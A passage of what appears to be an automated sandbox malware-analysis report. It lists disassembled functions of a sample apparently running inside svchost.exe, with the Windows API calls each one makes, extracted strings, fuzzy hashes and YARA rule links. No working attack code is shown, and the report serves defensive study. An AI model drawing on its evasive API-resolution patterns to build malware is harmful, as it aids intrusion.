Instruction Fuzzy Hash: C511192EE1CB8702F664316DA94637A90416F58360FD8AB34EF6E1E7DABF5DA8404120

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D7060A0, Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 191COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF70D706110
_CallSETranslator.LIBVCRUNTIME ref: 00007FF70D70615B

Strings

MOC, xrefs: 00007FF70D706124
RCC, xrefs: 00007FF70D70612C

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: ab36b770f7cc847d8531dc68f8c3dd39a2762d4dcd4f0ae273f4c0b7f95efd4e
Instruction ID: 7a1f8501d49a6699501695de835864637e9f9156ecd92e808d32b98aa193172d
Opcode Fuzzy Hash: ab36b770f7cc847d8531dc68f8c3dd39a2762d4dcd4f0ae273f4c0b7f95efd4e
Instruction Fuzzy Hash: 3691A073A08781CAE710EF65EC502ADBBA0FB08788F50512AEE4D97795EF38D1A5C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6F0240, Relevance: 6.4, APIs: 5, Instructions: 108stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI ref: 00007FF70D6F0274
lstrlenA.KERNEL32 ref: 00007FF70D6F0282
lstrcpynA.KERNEL32 ref: 00007FF70D6F02A2
lstrcmpA.KERNEL32 ref: 00007FF70D6F02F9
lstrcmpA.KERNEL32 ref: 00007FF70D6F034C

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: lstrcmp$lstrcpynlstrlen
String ID:
API String ID: 2573362024-0
Opcode ID: b79ff5fe365a98f5093523dc1781e20bb6acad0b76daa57019712ebb8276c31e
Instruction ID: 23953ada08fbd14b4aaf8ffa69aa136701a22206b424e55cec18f2df0063ed84
Opcode Fuzzy Hash: b79ff5fe365a98f5093523dc1781e20bb6acad0b76daa57019712ebb8276c31e
Instruction Fuzzy Hash: 4441D422F0C7C189F7109B79C8143BD7BA29F45788F940039DA8D5BA8AEF7D90458321

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6EEA40, Relevance: 6.2, APIs: 4, Instructions: 202libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6EEB25
GetProcAddress.KERNEL32 ref: 00007FF70D6EEC04
GetProcAddress.KERNEL32 ref: 00007FF70D6EECC4
GetProcAddress.KERNEL32 ref: 00007FF70D6EED35

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 63523be03aad2648bcfdb7e5fba3eea3435476f1344a50f998df9c963937c20d
Instruction ID: 5f73fa03bc540ab9707f186ce20b1f8278812303412fb5df2308f41bdf0d550a
Opcode Fuzzy Hash: 63523be03aad2648bcfdb7e5fba3eea3435476f1344a50f998df9c963937c20d
Instruction Fuzzy Hash: 9C918022B1C7C08DF711DB75D4443AD7BA2AB1A78CF484465EE8A17B8AEF7E95048321

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D7027D0, Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 159stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00007FF70D70282B
lstrlenA.KERNEL32 ref: 00007FF70D70293A
wsprintfA.USER32 ref: 00007FF70D702983

Strings

[%u], xrefs: 00007FF70D702974

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: lstrlen$wsprintf
String ID: [%u]
API String ID: 1220175532-1146909518
Opcode ID: b0aa9d45b025a02d11cfd0c915c06425b2e07bfd96f69d5d1d6271058a706b1c
Instruction ID: ed7e7e0b43e03850181e5923a21364c269a106e12f47e0650fc26f21c7bbb23b
Opcode Fuzzy Hash: b0aa9d45b025a02d11cfd0c915c06425b2e07bfd96f69d5d1d6271058a706b1c
Instruction Fuzzy Hash: 0B51E332A1CB8982D611AF19EC4426AB7A8FF5D7C8F855231EA8D83796EF3CD1418714

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D702D20, Relevance: 6.1, APIs: 4, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00007FF70D702D65
GetProcessHeap.KERNEL32 ref: 00007FF70D702D6E
HeapAlloc.KERNEL32 ref: 00007FF70D702D7C
WideCharToMultiByte.KERNEL32 ref: 00007FF70D702DA7

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: ByteCharHeapMultiWide$AllocProcess
String ID:
API String ID: 1432973188-0
Opcode ID: 380e51ed5fb2c72fe52ff407ff6ea7c7f5f821d76a3145601477de6795e98255
Instruction ID: 28201f06e173d980730209a32557d9e6e3a50825170b51fe4870295c471d370c
Opcode Fuzzy Hash: 380e51ed5fb2c72fe52ff407ff6ea7c7f5f821d76a3145601477de6795e98255
Instruction Fuzzy Hash: 49116A36A08B4182E714DF5BBC48859BBA8FB88FC0B999139DF9943724EF38D452C704

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D702C60, Relevance: 6.1, APIs: 4, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00007FF70D702CA8
GetProcessHeap.KERNEL32 ref: 00007FF70D702CB1
HeapAlloc.KERNEL32 ref: 00007FF70D702CBF
WideCharToMultiByte.KERNEL32 ref: 00007FF70D702CED

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: ByteCharHeapMultiWide$AllocProcess
String ID:
API String ID: 1432973188-0
Opcode ID: 8cf8cf108cf1d1a0a3306f9cc5574b436250b4857b3f1594dcaa62a82ce661ac
Instruction ID: 69aa9ffd7ea467cbaa92349f4632c3f224870470615eeecfa1a1935732b81b8d
Opcode Fuzzy Hash: 8cf8cf108cf1d1a0a3306f9cc5574b436250b4857b3f1594dcaa62a82ce661ac
Instruction Fuzzy Hash: 73115B36A09B4182E710DF5BBC44819BAA5FB88FC0F595139DF9943B24EF38D451C704

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D706614, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 163COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF70D70663E

Strings

csm, xrefs: 00007FF70D706663
csm, xrefs: 00007FF70D7067D2

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: __except_validate_context_record
String ID: csm$csm
API String ID: 1467352782-3733052814
Opcode ID: d939f07a2d8e742e45262d16546085db42ea9ae3158445d467194ed60b553964
Instruction ID: f2bf18b9de3a3523728c912e2abeda2d5ed8f91aa42fe478b55c9c94a41364ce
Opcode Fuzzy Hash: d939f07a2d8e742e45262d16546085db42ea9ae3158445d467194ed60b553964
Instruction Fuzzy Hash: 1D71AF7290C791CADB61AF219C6067DBEA0EF48F88F44A135DA4C87AC5EF2CE460C750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D706A58, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF70D706B02
_CreateFrameInfo.LIBVCRUNTIME ref: 00007FF70D706B2E

Strings

csm, xrefs: 00007FF70D706C2E

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: CreateFrameInfo__except_validate_context_record
String ID: csm
API String ID: 2558813199-1018135373
Opcode ID: a7c649d78f6d2359bb1f566330969767fca0ee67df5a1671951e7d73f0822f1e
Instruction ID: 79b9fb319d7a68e6de2c33ec2c6af5f19fa93e78661315bea4a9bb1f9f3ef195
Opcode Fuzzy Hash: a7c649d78f6d2359bb1f566330969767fca0ee67df5a1671951e7d73f0822f1e
Instruction Fuzzy Hash: 22515B3361C745C6D620BB25E84126EBBA5FB88B90F542135EB8D87B95EF38E461CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D70C194, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF70D70C2AB
GetLastError.KERNEL32 ref: 00007FF70D70C2CD

Strings

U, xrefs: 00007FF70D70C257

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: f5a7ad0d36fc8c64f8206148a1dde13c4bc2215e501579e45d4cf405bf286a0a
Instruction ID: b329ff9cde0fb3a10710302bac09089d4a5998ad6601461c38f0ff7d617bdd84
Opcode Fuzzy Hash: f5a7ad0d36fc8c64f8206148a1dde13c4bc2215e501579e45d4cf405bf286a0a
Instruction Fuzzy Hash: 5F41C26261CB81C1DB219F65EC443A9ABA0FB8C794F845131EE4D87B98EF3CD401C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6EDA90, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 70libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6EDB38

Strings

jjXR\YiJ^cS]PZ[7, xrefs: 00007FF70D6EDB07
jjXR\YiJ^cS]PZ[7, xrefs: 00007FF70D6EDB28

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc
String ID: jjXR\YiJ^cS]PZ[7$jjXR\YiJ^cS]PZ[7
API String ID: 190572456-1727882641
Opcode ID: 8079c6548b7e2d9d61f781f0295146e3f03e596a86e9e4bafbd0632703699a53
Instruction ID: 0ff260a9e13bdbbbacb9f410ebe2d36884326c532e2783af12866744e6219fa0
Opcode Fuzzy Hash: 8079c6548b7e2d9d61f781f0295146e3f03e596a86e9e4bafbd0632703699a53
Instruction Fuzzy Hash: DB319022B2C7D08CF301D77998543AD3FA1AB1A74CF480059DF992BB8ADB698109CB75

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D713270, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF70D713382

Strings

", xrefs: 00007FF70D71335B
pow, xrefs: 00007FF70D713371

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: _handle_error
String ID: "$pow
API String ID: 1757819995-713443511
Opcode ID: f29bf594c6563dac414abd9272ddce078714e156fb95092d5d8ca41caefe24c8
Instruction ID: 9d46ace8189731b234f3c984582cd548f79f9ad9972c18f4f3eb0ba889ec06a5
Opcode Fuzzy Hash: f29bf594c6563dac414abd9272ddce078714e156fb95092d5d8ca41caefe24c8
Instruction Fuzzy Hash: 6B216F76D1CB8487E370DF18E84066AEAA0FFDE344F502325F68906A54DFBDD1459B04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D70B29C, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF70D70B2D5
LCMapStringW.KERNEL32 ref: 00007FF70D70B35D

Strings

LCMapStringEx, xrefs: 00007FF70D70B2B8, 00007FF70D70B2C9

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Stringtry_get_function
String ID: LCMapStringEx
API String ID: 2588686239-3893581201
Opcode ID: d1074bdef98a3a0eba0f3832f2e28bec0d21f8849ebd53622cda47c9fbc7ab41
Instruction ID: 189627cf694908a87cfecbf75235f6d15c33d72ca3f911173303bc180def3d35
Opcode Fuzzy Hash: d1074bdef98a3a0eba0f3832f2e28bec0d21f8849ebd53622cda47c9fbc7ab41
Instruction Fuzzy Hash: 39113B3660CB8186D760DB56F8402AAF7A4FB8DB84F945136EE8D83B59DF3CD5048B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D7054E8, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00007FF70D70552C
RaiseException.KERNEL32 ref: 00007FF70D705572

Strings

csm, xrefs: 00007FF70D70555F

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: b2f0e2b151a1aa032482c920073c421dbbe3e4d5cb11e43e24e1af1ed8adb27f
Instruction ID: a0f06c5f322ca27b3d5e1e69715c67ad32dac52a0a781a715aa4a1dc86380d2d
Opcode Fuzzy Hash: b2f0e2b151a1aa032482c920073c421dbbe3e4d5cb11e43e24e1af1ed8adb27f
Instruction Fuzzy Hash: E9110D3661CB8582EB219B15F840269BBA6FF88B98F585231EE8D47794EF3CD5518B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D70B238, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF70D70B269
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF70D70B283

Strings

InitializeCriticalSectionEx, xrefs: 00007FF70D70B25D

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: 53441b82f6a59bd26a4e0837e65c3d10659158ab8024f3574713bb0c134b4a8d
Instruction ID: 86c78f5f298ff47de0e10c1717ba1849163413d0bd1b24958e86569ebe9265ba
Opcode Fuzzy Hash: 53441b82f6a59bd26a4e0837e65c3d10659158ab8024f3574713bb0c134b4a8d
Instruction Fuzzy Hash: 40F05E29A1C781C1EA54AB95BC400A9E661BF4CB80FD86236EE1E53B94EF3CD545C760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D70B1E4, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF70D70B20D
TlsSetValue.KERNEL32 ref: 00007FF70D70B224

Strings

FlsSetValue, xrefs: 00007FF70D70B1FA

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: 172d2628b23fa2246d941e0b87a06194485f587bb051851e2ff9b61f3473f388
Instruction ID: 9a08cc6a4e70ddd6e161aee0ae58a1d35a6b393714f0d639fc53c78aa28da6aa
Opcode Fuzzy Hash: 172d2628b23fa2246d941e0b87a06194485f587bb051851e2ff9b61f3473f388
Instruction Fuzzy Hash: 01E06565A0C742D1EA147B54FC000B8E222AF4D780FD86236D92D46394EF3CD584C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E8870, Relevance: 5.2, APIs: 4, Instructions: 153memorystringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00007FF70D6E88EF
lstrlenA.KERNEL32 ref: 00007FF70D6E890B
GetProcessHeap.KERNEL32 ref: 00007FF70D6E891A
HeapAlloc.KERNEL32 ref: 00007FF70D6E8928

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$AllocProcesslstrlenwsprintf
String ID:
API String ID: 993676913-0
Opcode ID: 8d976f5fcf192aceff830eef7890395b7d0a77cd41970cc6ebd2a0abaa21719d
Instruction ID: 76ca85651f70a32caf4be3444e0177ccd4cf96e7ababc254b5bded01f6861437
Opcode Fuzzy Hash: 8d976f5fcf192aceff830eef7890395b7d0a77cd41970cc6ebd2a0abaa21719d
Instruction Fuzzy Hash: B6619163B096D18EF701CBB5D9442AD7FB2AB1A78CF440169DF8967B4ADA389119C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D7023A0, Relevance: 5.1, APIs: 4, Instructions: 73memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF70D702419
HeapReAlloc.KERNEL32 ref: 00007FF70D70242A
GetProcessHeap.KERNEL32 ref: 00007FF70D70243D
HeapAlloc.KERNEL32 ref: 00007FF70D70244C

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: b56dc876cfcf7eaa703632423a6aa9260180e24e226cc1b07088ca90ab46fed3
Instruction ID: 6647497948a66a1f7761ae1d72ae204ec417cc79e9e410ae46768dd7293c5e22
Opcode Fuzzy Hash: b56dc876cfcf7eaa703632423a6aa9260180e24e226cc1b07088ca90ab46fed3
Instruction Fuzzy Hash: 88316C77919F85C2E7009F1AE800169B7B5FB99B84B549221EF8D53B25DF38E5A2C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D702A30, Relevance: 5.1, APIs: 4, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70D7027D0: lstrlenA.KERNEL32 ref: 00007FF70D70282B

GetProcessHeap.KERNEL32 ref: 00007FF70D702A78
HeapAlloc.KERNEL32 ref: 00007FF70D702A88

Part of subcall function 00007FF70D7027D0: lstrlenA.KERNEL32 ref: 00007FF70D70293A
Part of subcall function 00007FF70D7027D0: wsprintfA.USER32 ref: 00007FF70D702983

GetProcessHeap.KERNEL32 ref: 00007FF70D702AC2
HeapFree.KERNEL32 ref: 00007FF70D702AD0

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Processlstrlen$AllocFreewsprintf
String ID:
API String ID: 4274851876-0
Opcode ID: 03a5ecafba838e179acdfc03838d569a1fcde886cfc8b1d1981db903aedbede3
Instruction ID: efd7e43e5a298ca09f64c752bb07dc5c58d4f7d0b5f04977b99b3e9ea488b803
Opcode Fuzzy Hash: 03a5ecafba838e179acdfc03838d569a1fcde886cfc8b1d1981db903aedbede3
Instruction Fuzzy Hash: BF218E66A08F4685E611EF2AED052A9A760FF8DBD4F85A131DF4D43712FF38E192C210

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D7022E0, Relevance: 5.1, APIs: 4, Instructions: 51memorystringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00007FF70D702310
GetProcessHeap.KERNEL32 ref: 00007FF70D70231D
HeapAlloc.KERNEL32 ref: 00007FF70D70232B
lstrcpyA.KERNEL32 ref: 00007FF70D702341

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$AllocProcesslstrcpylstrlen
String ID:
API String ID: 2988581199-0
Opcode ID: 9b2cf84b4eb221d76cc7ebe9c527ae8778d14b37f666ea3aeadff073f2bed708
Instruction ID: 7397cd5a825957fa0807dafe57f26a50262b63cfeb544cffde7703b0c0baf6ed
Opcode Fuzzy Hash: 9b2cf84b4eb221d76cc7ebe9c527ae8778d14b37f666ea3aeadff073f2bed708
Instruction Fuzzy Hash: 81114D22A1DF8185EA50DB15FC4416AE7A4FF8CB84F886134EA8E46759FF3CD1418610

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6F1F40, Relevance: 5.0, APIs: 4, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF70D6F1F7F
HeapFree.KERNEL32 ref: 00007FF70D6F1F8D
GetProcessHeap.KERNEL32 ref: 00007FF70D6F1FAB
HeapFree.KERNEL32 ref: 00007FF70D6F1FB9

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 7fe9611ee3ff6a803d6945a04d084b373cc0d025802a641c51381ee44747ff0d
Instruction ID: a9b416e7872a1791a5e6f9a35ff9ec2b7bf2c799e16d52d94cb31ebb67142d15
Opcode Fuzzy Hash: 7fe9611ee3ff6a803d6945a04d084b373cc0d025802a641c51381ee44747ff0d
Instruction Fuzzy Hash: E1110D3AA19F82C2D714AF56F940069B365FF49BC4B589135EB9D23B28DF3CD4A28310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D7024C0, Relevance: 5.0, APIs: 4, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF70D7024F6
HeapFree.KERNEL32 ref: 00007FF70D702504
GetProcessHeap.KERNEL32 ref: 00007FF70D70252C
HeapFree.KERNEL32 ref: 00007FF70D70253A

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: b35eefb63cb5bf408ea2c8ad04f9922596fdeabb871c63ae195345a164378527
Instruction ID: 165b3606deba3715608ac98c099fb4c31977ee94e8ea021f2ee6073b38b04c38
Opcode Fuzzy Hash: b35eefb63cb5bf408ea2c8ad04f9922596fdeabb871c63ae195345a164378527
Instruction Fuzzy Hash: A5112A36908B81C2D304AF26FD84029B764FB89B84B88A165DF8963B19DF38D5A29744

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D701F60, Relevance: 5.0, APIs: 4, Instructions: 40memorystringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00007FF70D701F89
GetProcessHeap.KERNEL32 ref: 00007FF70D701F96
HeapAlloc.KERNEL32 ref: 00007FF70D701FA4
lstrcpyA.KERNEL32 ref: 00007FF70D701FB8

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$AllocProcesslstrcpylstrlen
String ID:
API String ID: 2988581199-0
Opcode ID: 201bf1986886133b544de737f59c777ac7e2de8a2f629b2ffeed569aa008d294
Instruction ID: 18bd22653c4e4b31ecc325cae7bc753aae72c4ed25a7609daca8483c2a951f40
Opcode Fuzzy Hash: 201bf1986886133b544de737f59c777ac7e2de8a2f629b2ffeed569aa008d294
Instruction Fuzzy Hash: 58012D66A0AB4682EA05DF26FD00129B2A5FF4CF84B989234EE4D83754FF3CE1518310

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: svchost.exe PID: 3148 Parent PID: 5580 svchost.exeCOMMON

Executed Functions

Function 00007FF70D6F7A60, Relevance: 297.2, APIs: 146, Strings: 22, Instructions: 3162memorystringlibraryCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6F7C44
CreateMutexExA.KERNEL32 ref: 00007FF70D6F7C55
GetProcessHeap.KERNEL32 ref: 00007FF70D6F7CA2
HeapAlloc.KERNEL32 ref: 00007FF70D6F7CB0
GetProcessHeap.KERNEL32 ref: 00007FF70D6F7CF1
HeapAlloc.KERNEL32 ref: 00007FF70D6F7D03
GetProcessHeap.KERNEL32 ref: 00007FF70D6F7D2F
HeapFree.KERNEL32 ref: 00007FF70D6F7D3D
GetProcessHeap.KERNEL32 ref: 00007FF70D6F7D52
HeapAlloc.KERNEL32 ref: 00007FF70D6F7D60
GetProcessHeap.KERNEL32 ref: 00007FF70D6F7D6E
wsprintfA.USER32 ref: 00007FF70D6F7DE6
GetProcAddress.KERNEL32 ref: 00007FF70D6F7F2C
StrDupA.SHLWAPI ref: 00007FF70D6F80A0
StrDupA.SHLWAPI ref: 00007FF70D6F80B1
StrDupA.SHLWAPI ref: 00007FF70D6F80C2
GetProcessHeap.KERNEL32 ref: 00007FF70D6F80DB
HeapFree.KERNEL32 ref: 00007FF70D6F80E9
GetProcessHeap.KERNEL32 ref: 00007FF70D6F80EF
HeapFree.KERNEL32 ref: 00007FF70D6F80FD

Part of subcall function 00007FF70D6F6790: GetProcAddress.KERNEL32 ref: 00007FF70D6F6843

Part of subcall function 00007FF70D6E2CC0: GetProcAddress.KERNEL32 ref: 00007FF70D6E2D57

GetProcAddress.KERNEL32 ref: 00007FF70D6F82A3
wsprintfA.USER32 ref: 00007FF70D6F838E
wsprintfA.USER32 ref: 00007FF70D6F854E

Part of subcall function 00007FF70D6E5410: wsprintfA.USER32 ref: 00007FF70D6E54A4

WaitForSingleObject.KERNEL32 ref: 00007FF70D6FB84E

Part of subcall function 00007FF70D6F6920: GetProcAddress.KERNEL32 ref: 00007FF70D6F69C4

GetProcAddress.KERNEL32 ref: 00007FF70D6F8762
GetProcessHeap.KERNEL32 ref: 00007FF70D6F8778
HeapFree.KERNEL32 ref: 00007FF70D6F8786
GetProcessHeap.KERNEL32 ref: 00007FF70D6F8798
HeapFree.KERNEL32 ref: 00007FF70D6F87A6
GetProcessHeap.KERNEL32 ref: 00007FF70D6F87B8
HeapFree.KERNEL32 ref: 00007FF70D6F87C6
GetProcessHeap.KERNEL32 ref: 00007FF70D6F87FA
HeapFree.KERNEL32 ref: 00007FF70D6F8808
wsprintfA.USER32 ref: 00007FF70D6F8966
wsprintfA.USER32 ref: 00007FF70D6F89C8
GetProcAddress.KERNEL32 ref: 00007FF70D6F8AC0
GetProcAddress.KERNEL32 ref: 00007FF70D6F8B62
GetProcessHeap.KERNEL32 ref: 00007FF70D6F8B79
HeapFree.KERNEL32 ref: 00007FF70D6F8B87
GetProcessHeap.KERNEL32 ref: 00007FF70D6F8B99
HeapFree.KERNEL32 ref: 00007FF70D6F8BA7
GetProcessHeap.KERNEL32 ref: 00007FF70D6F8BBD
HeapFree.KERNEL32 ref: 00007FF70D6F8BCB

Part of subcall function 00007FF70D6F6540: GetProcAddress.KERNEL32 ref: 00007FF70D6F65D4

GetProcessHeap.KERNEL32 ref: 00007FF70D6F8DB7
HeapFree.KERNEL32 ref: 00007FF70D6F8DC9
GetProcAddress.KERNEL32 ref: 00007FF70D6F8E42
GetProcessHeap.KERNEL32 ref: 00007FF70D6F8E58
HeapFree.KERNEL32 ref: 00007FF70D6F8E66
GetProcessHeap.KERNEL32 ref: 00007FF70D6F8E78
HeapFree.KERNEL32 ref: 00007FF70D6F8E86
GetProcessHeap.KERNEL32 ref: 00007FF70D6F8E9C
lstrcpyA.KERNEL32 ref: 00007FF70D6F911A
lstrcpyW.KERNEL32 ref: 00007FF70D6F92AD
lstrcpyW.KERNEL32 ref: 00007FF70D6F932B
GetProcAddress.KERNEL32 ref: 00007FF70D6F93EC
GetProcAddress.KERNEL32 ref: 00007FF70D6F94BC
lstrcpyW.KERNEL32 ref: 00007FF70D6F95DB
lstrcmpiW.KERNEL32 ref: 00007FF70D6F9600
lstrcatW.KERNEL32 ref: 00007FF70D6F975B
lstrcpyW.KERNEL32 ref: 00007FF70D6F97EE
lstrlenW.KERNEL32 ref: 00007FF70D6F980A
lstrlenW.KERNEL32 ref: 00007FF70D6F9815
lstrlenW.KERNEL32 ref: 00007FF70D6F9824
GetProcessHeap.KERNEL32 ref: 00007FF70D6F9835
HeapAlloc.KERNEL32 ref: 00007FF70D6F9843
lstrcpyW.KERNEL32 ref: 00007FF70D6F98EB
wsprintfW.USER32 ref: 00007FF70D6F990E
GetProcAddress.KERNEL32 ref: 00007FF70D6F9993
GetProcessHeap.KERNEL32 ref: 00007FF70D6F99D6
HeapFree.KERNEL32 ref: 00007FF70D6F99E4
GetProcAddress.KERNEL32 ref: 00007FF70D6F9A63
lstrcpyA.KERNEL32 ref: 00007FF70D6F9C8D
HeapFree.KERNEL32 ref: 00007FF70D6F8EAA

Part of subcall function 00007FF70D6F5E20: GetProcAddress.KERNEL32 ref: 00007FF70D6F5EA6

Part of subcall function 00007FF70D6F5790: GetProcAddress.KERNEL32 ref: 00007FF70D6F5834

GetProcessHeap.KERNEL32 ref: 00007FF70D6FAEB0
HeapFree.KERNEL32 ref: 00007FF70D6FAEBE
GetProcessHeap.KERNEL32 ref: 00007FF70D6FAED0
HeapFree.KERNEL32 ref: 00007FF70D6FAEDE
GetProcessHeap.KERNEL32 ref: 00007FF70D6FAEF0
HeapFree.KERNEL32 ref: 00007FF70D6FAEFE
GetProcessHeap.KERNEL32 ref: 00007FF70D6FAF14
HeapFree.KERNEL32 ref: 00007FF70D6FAF22
GetProcAddress.KERNEL32 ref: 00007FF70D6FAFD2
GetProcessHeap.KERNEL32 ref: 00007FF70D6FB0E1
HeapFree.KERNEL32 ref: 00007FF70D6FB0F3
